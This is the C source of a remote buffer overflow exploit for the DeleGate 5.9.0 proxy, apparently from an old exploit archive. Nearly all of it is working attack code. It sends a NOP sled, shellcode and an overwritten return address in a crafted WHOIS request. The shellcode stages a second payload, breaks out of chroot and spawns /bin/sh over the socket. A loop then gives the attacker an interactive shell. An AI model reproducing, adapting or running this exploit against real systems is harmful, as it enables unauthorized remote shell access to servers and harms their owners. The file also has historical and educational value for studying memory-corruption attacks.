/*
 *  DeleGate 5.9.0 remote overflow
 *  
 *  Notes about this exploit:
 *   - We can predict the sockfd in use with a reasonable degree of
 *     accuracy. In most cases, it's 12 (hence #define SOCKFD 0x0c).
 *     I've seen it as 13, though.
 *   - The ASM src to the shellcode is included in the comments. It's
 *     not overly optimized.
 *   - On lagged links, you may need to alter the DELAY #define. 
 *
 *  Credits:
 *   - The read() shellcode is derived from an idea posted to Bugtraq 
 *     in 1998 (to do with exploiting mpg123). The author wrote:
 *       `As would a routine that reads X more bytes from the 
 *        still open filedescriptor..`
 *   - Thanks to ABR for finding the overflow and writing the initial
 *     test (mkdir()'s an arbitrary directory) exploit.
 *
 *  Any questions or comments (or criticisms), feel free to email me.
 *
 *  anathema <anathema@hack.co.za>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define DELAY			2
#define ADDR			0xbfffe501
#define RETPOS			260
#define SHFD_OFFSET		5
#define RDFD_OFFSET		252
/*
 *  We can predict the socket descriptor in use with a reasonable
 *  degree of accuracy.
 */
#define SOCKFD			0x0c

/*
 *  The overflow occurs while parsing the WHOIS command.
 */
char prepend_str[] = "whois://";

/*
 *  Shellcode to read() 256 bytes from the socket descriptor 
 *  referenced by the #define SOCKFD. We replace the 0xff byte 
 *  from movb $0xff, %bl with the SOCKFD define value in main().
 */
char readcode[] =
  /* main: */
  "\xeb\x03"                             /* jmp callz           [2000]*/
  /* start0: */
  "\x5e"                                 /* popl %esi           [2000]*/
  "\xeb\x05"                             /* jmp start           [2000]*/
  /* callz: */
  "\xe8\xf8\xff\xff\xff"                 /* call start0         [2000]*/
  /* start: */
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\xb0\x80"                             /* movb $0x80, %al     [2000]*/
  "\x29\xdb"                             /* subl %ebx, %ebx     [2000]*/
  "\x43"                                 /* incl %ebx           [2000]*/
  "\x43"                                 /* incl %ebx           [2000]*/
  "\x8d\x4e\x10"                         /* leal 0x10(%esi), %ecx     */
  "\xf7\xeb"                             /* imul %ebx           [2000]*/
  "\x29\xdb"                             /* subl %ebx, %ebx     [2000]*/
  "\xb3\xff"                             /* movb $SOCK_FD, %bl  [2000]*/
  "\x92"                                 /* xchgl %eax, %edx    [2000]*/
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\xb0\x03"                             /* movb $0x03, %al     [2000]*/
  "\xcd\x80";                            /* int $0x80           [2000]*/

/*
 *  The `real` shellcode. We must dup2() stdin, stdout and stderr
 *  to the socket descriptor, or else you will spawn an interactive
 *  shell at the controlling terminal ;)
 */
char c0de[] =
  /* main: */
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x29\xdb"                             /* subl %ebx, %ebx     [2000]*/
  "\xb3\xff"                             /* movb $SOCK_FD, %bl  [2000]*/
  "\xb0\x3f"                             /* movb $0x3f, %al     [2000]*/
  "\x29\xc9"                             /* subl %ecx, %ecx     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/
  "\xb0\x3f"                             /* movb $0x3f, %al     [2000]*/
  "\x41"                                 /* incl %ecx           [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/
  "\xb0\x3f"                             /* movb $0x3f, %al     [2000]*/
  "\x41"                                 /* incl %ecx           [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/
  "\xeb\x66"                             /* jmp callz           [2000]*/

  /* start: */
  /*
   *  Now we must break chroot().
   *  We do this by creating a temporary directory with mkdir(), chroot()
   *  to that temporary directory, perform multiple chdir() calls to the
   *  parent directory and finally a chroot() to the current directory, 
   *  which should be the real root directory.
   *
   *  We use a straightforward loop to perform the multiple chdir() calls.
   */
  "\x5e"                                 /* popl %esi           [2000]*/
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x8d\x5e\x0d"                         /* leal 0x0d(%esi), %ebx     */
  "\x88\x46\x04"                         /* movb %al, 0x04(%esi)[2000]*/
  "\x66\xb9\xff\x01"                     /* movw $0x1ff, %cx    [2000]*/
  "\xb0\x27"                             /* movb $0x27, %al     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/

  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x8d\x5e\x0d"                         /* leal 0x0d(%esi), %ebx     */
  "\xb0\x3d"                             /* movb $0x3d, %al     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/

  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x29\xdb"                             /* subl %ebx, %ebx     [2000]*/
  "\x29\xc9"                             /* subl %ecx, %ecx     [2000]*/
  "\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
  "\x89\x43\x02"                         /* movl %eax, 0x02(%ebx)     */
  "\xb1\x14"                             /* movb $0x14, %cl     [2000]*/

  /* chdir_loop: */
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
  "\xb0\x0c"                             /* movb $0x0c, %al     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/
  "\x49"                                 /* decl %ecx           [2000]*/
  "\x08\xc9"                             /* orb %cl, %cl        [2000]*/
  "\x75\xf2"                             /* jnz chdir_loop      [2000]*/

  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x88\x46\x09"                         /* movb %al, 0x09(%esi)[2000]*/
  "\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
  "\xb0\x3d"                             /* movb $0x3d, %al     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/

  /*
   *  We've broken chroot, now we can execve() /bin/sh. We've 
   *  already dup2()'d stdin, stdout and stderr to the sockfd.
   */
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\xb0\x2e"                             /* movb $0x2e, %al     [2000]*/
  "\x40"                                 /* incl %eax           [2000]*/
  "\x88\x46\x04"                         /* movb %al, 0x04(%esi)[2000]*/
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)[2000]*/
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)     */
  "\x87\xf3"                             /* xchgl %esi, %ebx    [2000]*/
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx     */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx     */
  "\xb0\x0b"                             /* movb $0x0b, %al     [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/

  /* exit(). Not really necessary. */
  "\x29\xc0"                             /* subl %eax, %eax     [2000]*/
  "\x40"                                 /* incl %eax           [2000]*/
  "\xcd\x80"                             /* int $0x80           [2000]*/

  /* callz: */
  "\xe8\x95\xff\xff\xff"                 /* call start          [2000]*/

  "\x2f\x62\x69\x6e\x2f\x73\x68"          /* /bin/sh for execve         [2000]*/
  "\x31\x2e\x2e\x31\x31\x2e\x62\x69\x6e"; /* strings for mk/chdir(), chroot() */

u_long
resolve_host(u_char *host)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr(host)) == -1)
    {
      host_ent = gethostbyname(host);
      if (!host_ent) return((u_long)0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return(addr.s_addr);
}

void
connect_shell(int sock)
{
  u_char sock_buf[8192]  = {0};
  fd_set fds;

  write(sock, "\n\nuname -a; id;\n", 16);
  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);  /* STDIN_FILENO */
      FD_SET(sock, &fds);

      if (select(0xff, &fds, NULL, NULL, NULL) == -1)
        {
          perror("select choked");
          exit(-1);
        }

      memset(sock_buf, 0, sizeof(sock_buf));

      if (FD_ISSET(sock, &fds))
        {
          if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
            {
              fprintf(stderr, "Connection closed by foreign host.\n");
              exit(0);
            }

          fprintf(stderr, "%s", sock_buf);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, sock_buf, sizeof(sock_buf) - 1);
          write(sock, sock_buf, strlen(sock_buf));
        }
    }

  /* NOTREACHED */
}

int
create_socket(u_long dst_ip, u_short src_prt, u_short dst_prt)
{
  struct sockaddr_in sin;
  int sock;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  if (src_prt)
    {
      struct sockaddr_in min;
      int one = 1, *o_ptr = &one;
      /*
       *  A source port has been specified. Note that we should set
       *  SO_REUSEADDR on the socket so future exploit attempts 
       *  utilising the same source port are possible.
 [2000]*/
      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr,
                     sizeof(one)) == -1)
        {
          perror("setsockopt SO_REUSEADDR");
          exit(-1);
        }

      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;

      if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
        {
          perror("bind");
          exit(-1);
        }
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(dst_prt);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to delegate server");
      exit(-1);
    }

  return(sock);
}

void
usage(u_char *nomenclature)
{
  fprintf(stderr, "\nusage:\t%s dst_host|ip [src_prt] dst_prt\n\n",
          nomenclature);
  exit(0);
}

int
main(int argc, char **argv)
{
  u_char buf[4096] = {0};
  u_long addr      = ADDR;
  u_long dst_ip    = 0;
  u_short src_prt  = 0, dst_prt = 0;
  int sock, ret = RETPOS;
  int i = 0, j = 0;

  fprintf(stderr, "\nDeleGate 5.9.0 remote overflow\n"
          "anathema <anathema@hack.co.za>\n");

  if (argc != 3 && argc != 4)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip   = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  if (argc == 4)
    {
      src_prt = (u_short)atoi(argv[2]);
      dst_prt = (u_short)atoi(argv[3]);
    }
  else
    {
      dst_prt = (u_short)atoi(argv[2]);
    }

  sock = create_socket(dst_ip, src_prt, dst_prt);

  memset(buf, 0x90, ret - strlen(readcode));
  memcpy(buf, prepend_str, strlen(prepend_str));
  memcpy(buf + ret - strlen(readcode), readcode, strlen(readcode));

  buf[ret++] = (addr & 0xff);
  buf[ret++] = (addr >> 8) & 0xff;
  buf[ret++] = (addr >> 16) & 0xff;
  buf[ret++] = (addr >> 24) & 0xff;

  buf[RDFD_OFFSET] = SOCKFD;
  memcpy(buf + ret, "\r\n", 2);

  if (write(sock, buf, strlen(buf)) != strlen(buf))
    {
      fprintf(stderr, "err: truncated write() (0x01)\n");
      exit(-1);
    }

  memset(buf, 0, sizeof(buf));

  c0de[SHFD_OFFSET]  = SOCKFD;
  memset(buf, 0x90, 0x0f);
  memcpy(buf + 0x0f, c0de, strlen(c0de));
  memcpy(buf + 0x0f + strlen(c0de), "\0\r\n", 3);

  if (write(sock, buf, strlen(buf)) != strlen(buf))
    {
      fprintf(stderr, "err: truncated write() (0x02)\n");
      exit(-1);
    }

  fprintf(stderr, "\nIt'z time to w8\n\n");

  sleep(DELAY);
  connect_shell(sock);
}